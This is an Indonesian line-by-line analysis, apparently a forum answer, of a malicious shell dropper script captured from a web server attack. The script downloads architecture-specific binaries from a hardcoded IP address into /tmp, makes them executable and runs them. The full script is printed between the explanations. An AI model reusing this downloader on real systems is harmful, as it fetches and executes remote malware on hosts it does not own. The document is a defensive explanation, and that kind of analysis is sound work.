Baris demi baris:
#!/bin/sh
Menetapkan sh
cangkang, yang mana pun itu, sebagai garis shebang. sh%20/tmp/ks
dalam permintaan menimpa ini, jadi baris ini diperlakukan sebagai komentar normal dan diabaikan.
u="asgknskjdgn"
Menyatakan nama yang sewenang-wenang, mungkin untuk menghindari bertabrakan dengan nama file lain. Saya tidak yakin mengapa mereka tidak hanya menggunakan mktemp
, tapi mungkin itu tidak tersedia di semua platform.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Menghitung beberapa arsitektur CPU umum.
http_server="80.211.173.159"
http_port=80
Server yang memiliki exploit.
cd /tmp/||cd /var/
Mencoba mengubah direktori ke suatu tempat server web Anda kemungkinan dapat membuat file. Saya percaya SELinux akan membantu dengan ini, dengan memberlakukan aturan yang lebih ketat tentang apa yang dapat dilakukan server web daripada sistem file sendiri.
for name in $bin_names
do
Untuk setiap arsitektur CPU ...
rm -rf $u
Menghapus program eksploit yang sebelumnya dicoba. Tidak perlu karena baris berikutnya, jadi bisa diabaikan.
cp $SHELL $u
Salinan shell saat ini dapat dieksekusi ( /bin/sh
). Dapat diabaikan karena garis setelah selanjutnya.
chmod 777 $u
Membuat setiap orang memiliki akses penuh ke file baru. Ini seharusnya setelah wget
perintah, yang merupakan tanda dari shell scripting newbie atau teknik penyesatan.
>$u
Mengosongkan file. Tidak ada gunanya karena baris berikutnya.
wget http://$http_server:$http_port/$name -O -> $u
Timpa file dengan skrip exploit untuk arsitektur ini. -O -> $u
bisa ditulis -O - > $u
(tanda hubung menunjukkan bahwa unduhan harus ditulis dengan output standar) yang setara dengan -O $u
.
./$u $name
Menjalankan skrip exploit dengan arsitektur sebagai argumen pertama.
done
Mengakhiri loop.
Sepertinya ini adalah skrip percobaan exploit sepele, mencoba eksploit yang diketahui terhadap berbagai platform CPU. Saya tidak tahu mengapa itu menimpa $u
tiga kali, tetapi operasi itu bisa saja tetap dari iterasi skrip sebelumnya. Agaknya versi sebelumnya memiliki eksploitasi hard coded daripada dilayani secara dinamis - yang pertama lebih mudah tetapi hampir menjamin bahwa script akan kurang efektif seiring waktu karena bug ditambal.